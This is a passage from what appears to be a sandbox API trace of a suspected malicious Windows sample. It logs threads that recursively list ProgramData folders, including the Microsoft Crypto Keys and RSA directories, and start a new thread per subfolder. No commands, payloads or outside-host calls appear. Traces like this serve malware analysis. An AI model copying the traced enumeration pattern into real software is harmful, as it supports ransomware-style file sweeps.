ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0086.439] FindClose (in: hFindFile=0x1cd86370 | out: hFindFile=0x1cd86370) returned 1 [0086.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61b80) returned 1 [0086.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86310) returned 1 [0086.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce9a0) returned 1 Thread: id = 175 os_tid = 0x8a4 [0086.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82c6c0 [0086.442] wcscpy (in: _Dest=0x1b82c6c0, _Source="C:\\ProgramData\\Adobe\\Acrobat" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat") returned="C:\\ProgramData\\Adobe\\Acrobat" [0086.442] wcscat (in: _Dest=0x1b82c6c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\" [0086.442] wcscat (in: _Dest=0x1b82c6c0, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\*") returned="C:\\ProgramData\\Adobe\\Acrobat\\*" [0086.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61b80 [0086.442] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce9a0 [0086.442] wcscmp (_String1=".", _String2=".") returned 0 [0086.442] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.442] wcscmp (_String1="..", _String2=".") returned 1 [0086.442] wcscmp (_String1="..", _String2="..") returned 0 [0086.442] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0086.442] wcscmp (_String1="10.0", _String2=".") returned 1 [0086.442] wcscmp (_String1="10.0", _String2="..") returned 1 [0086.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82c670 [0086.442] wcscpy (in: _Dest=0x1b82c670, _Source="C:\\ProgramData\\Adobe\\Acrobat" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat") returned="C:\\ProgramData\\Adobe\\Acrobat" [0086.442] wcscat (in: _Dest=0x1b82c670, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\" [0086.442] wcscat (in: _Dest=0x1b82c670, _Source="10.0" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0" [0090.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c [0090.515] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0090.515] FindClose (in: hFindFile=0x1b7ce9a0 | out: hFindFile=0x1b7ce9a0) returned 1 [0090.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61b80) returned 1 [0090.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0090.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 Thread: id = 176 os_tid = 0x72c [0086.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9e970 [0086.444] wcscpy (in: _Dest=0x1cd9e970, _Source="C:\\ProgramData\\Adobe\\ARM" | out: _Dest="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM" [0086.444] wcscat (in: _Dest=0x1cd9e970, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\") returned="C:\\ProgramData\\Adobe\\ARM\\" [0086.444] wcscat (in: _Dest=0x1cd9e970, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\*") returned="C:\\ProgramData\\Adobe\\ARM\\*" [0086.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61df0 [0086.444] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86310 [0086.445] wcscmp (_String1=".", _String2=".") returned 0 [0086.445] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.445] wcscmp (_String1="..", _String2=".") returned 1 [0086.445] wcscmp (_String1="..", _String2="..") returned 0 [0086.445] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 1 [0086.445] wcscmp (_String1="Reader_10.0.0", _String2=".") returned 1 [0086.445] wcscmp (_String1="Reader_10.0.0", _String2="..") returned 1 [0086.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd86370 [0086.445] wcscpy (in: _Dest=0x1cd86370, _Source="C:\\ProgramData\\Adobe\\ARM" | out: _Dest="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM" [0086.445] wcscat (in: _Dest=0x1cd86370, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\") returned="C:\\ProgramData\\Adobe\\ARM\\" [0086.445] wcscat (in: _Dest=0x1cd86370, _Source="Reader_10.0.0" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0" [0090.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918 [0090.518] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 0 [0090.518] FindClose (in: hFindFile=0x1cd86310 | out: hFindFile=0x1cd86310) returned 1 [0090.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61df0) returned 1 [0090.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e970) returned 1 [0090.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7e80) returned 1 Thread: id = 177 os_tid = 0x748 [0086.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd863d0 [0086.446] wcscpy (in: _Dest=0x1cd863d0, _Source="C:\\ProgramData\\Microsoft\\Assistance" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance") returned="C:\\ProgramData\\Microsoft\\Assistance" [0086.446] wcscat (in: _Dest=0x1cd863d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\" [0086.446] wcscat (in: _Dest=0x1cd863d0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\*") returned="C:\\ProgramData\\Microsoft\\Assistance\\*" [0086.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62060 [0086.447] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86430 [0086.447] wcscmp (_String1=".", _String2=".") returned 0 [0086.447] FindNextFileW (in: hFindFile=0x1cd86430, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.447] wcscmp (_String1="..", _String2=".") returned 1 [0086.447] wcscmp (_String1="..", _String2="..") returned 0 [0086.447] FindNextFileW (in: hFindFile=0x1cd86430, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0086.447] wcscmp (_String1="Client", _String2=".") returned 1 [0086.447] wcscmp (_String1="Client", _String2="..") returned 1 [0086.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd86490 [0086.447] wcscpy (in: _Dest=0x1cd86490, _Source="C:\\ProgramData\\Microsoft\\Assistance" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance") returned="C:\\ProgramData\\Microsoft\\Assistance" [0086.447] wcscat (in: _Dest=0x1cd86490, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\" [0086.447] wcscat (in: _Dest=0x1cd86490, _Source="Client" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client" [0090.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0090.520] FindNextFileW (in: hFindFile=0x1cd86430, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 0 [0090.520] FindClose (in: hFindFile=0x1cd86430 | out: hFindFile=0x1cd86430) returned 1 [0090.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62060) returned 1 [0090.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd863d0) returned 1 [0090.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 Thread: id = 178 os_tid = 0x974 [0086.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82c710 [0086.449] wcscpy (in: _Dest=0x1b82c710, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0086.449] wcscat (in: _Dest=0x1b82c710, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\" [0086.449] wcscat (in: _Dest=0x1b82c710, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\*" [0086.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd622d0 [0086.449] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd864f0 [0086.450] wcscmp (_String1=".", _String2=".") returned 0 [0086.450] FindNextFileW (in: hFindFile=0x1cd864f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.450] wcscmp (_String1="..", _String2=".") returned 1 [0086.450] wcscmp (_String1="..", _String2="..") returned 0 [0086.450] FindNextFileW (in: hFindFile=0x1cd864f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0086.450] wcscmp (_String1="DSS", _String2=".") returned 1 [0086.450] wcscmp (_String1="DSS", _String2="..") returned 1 [0086.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82c760 [0086.450] wcscpy (in: _Dest=0x1b82c760, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0086.450] wcscat (in: _Dest=0x1b82c760, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\" [0086.450] wcscat (in: _Dest=0x1b82c760, _Source="DSS" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS" [0090.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0090.522] FindNextFileW (in: hFindFile=0x1cd864f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0090.522] wcscmp (_String1="Keys", _String2=".") returned 1 [0090.522] wcscmp (_String1="Keys", _String2="..") returned 1 [0090.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd863d0 [0090.522] wcscpy (in: _Dest=0x1cd863d0, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0090.522] wcscat (in: _Dest=0x1cd863d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\" [0090.522] wcscat (in: _Dest=0x1cd863d0, _Source="Keys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys" [0090.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8 [0090.523] FindNextFileW (in: hFindFile=0x1cd864f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0090.523] wcscmp (_String1="RSA", _String2=".") returned 1 [0090.523] wcscmp (_String1="RSA", _String2="..") returned 1 [0090.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82bea0 [0090.523] wcscpy (in: _Dest=0x1b82bea0, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0090.523] wcscat (in: _Dest=0x1b82bea0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\" [0090.523] wcscat (in: _Dest=0x1b82bea0, _Source="RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA" [0090.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0090.524] FindNextFileW (in: hFindFile=0x1cd864f0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0090.524] FindClose (in: hFindFile=0x1cd864f0 | out: hFindFile=0x1cd864f0) returned 1 [0090.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd622d0) returned 1 [0090.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0090.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be00) returned 1 Thread: id = 179 os_tid = 0x8c4 [0086.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1cd86550 [0086.456] wcscpy (in: _Dest=0x1cd86550, _Source="C:\\ProgramData\\Microsoft\\Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0086.456] wcscat (in: _Dest=0x1cd86550, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\" [0086.457] wcscat (in: _Dest=0x1cd86550, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\*" [0086.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62540 [0086.457] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd865b0 [0086.459] wcscmp (_String1=".", _String2=".") returned 0 [0086.459] FindNextFileW (in: hFindFile=0x1cd865b0, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.459] wcscmp (_String1="..", _String2=".") returned 1 [0086.459] wcscmp (_String1="..", _String2="..") returned 0 [0086.459] FindNextFileW (in: hFindFile=0x1cd865b0, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0086.459] wcscmp (_String1="Device", _String2=".") returned 1 [0086.459] wcscmp (_String1="Device", _String2="..") returned 1 [0086.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e330 [0086.459] wcscpy (in: _Dest=0x1b86e330, _Source="C:\\ProgramData\\Microsoft\\Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0086.459] wcscat (in: _Dest=0x1b86e330, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\" [0086.459] wcscat (in: _Dest=0x1b86e330, _Source="Device" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device" [0097.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86e330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0097.306] FindNextFileW (in: hFindFile=0x1cd865b0, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0097.306] wcscmp (_String1="Task", _String2=".") returned 1 [0097.306] wcscmp (_String1="Task", _String2="..") returned 1 [0097.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd860d0 [0097.307] wcscpy 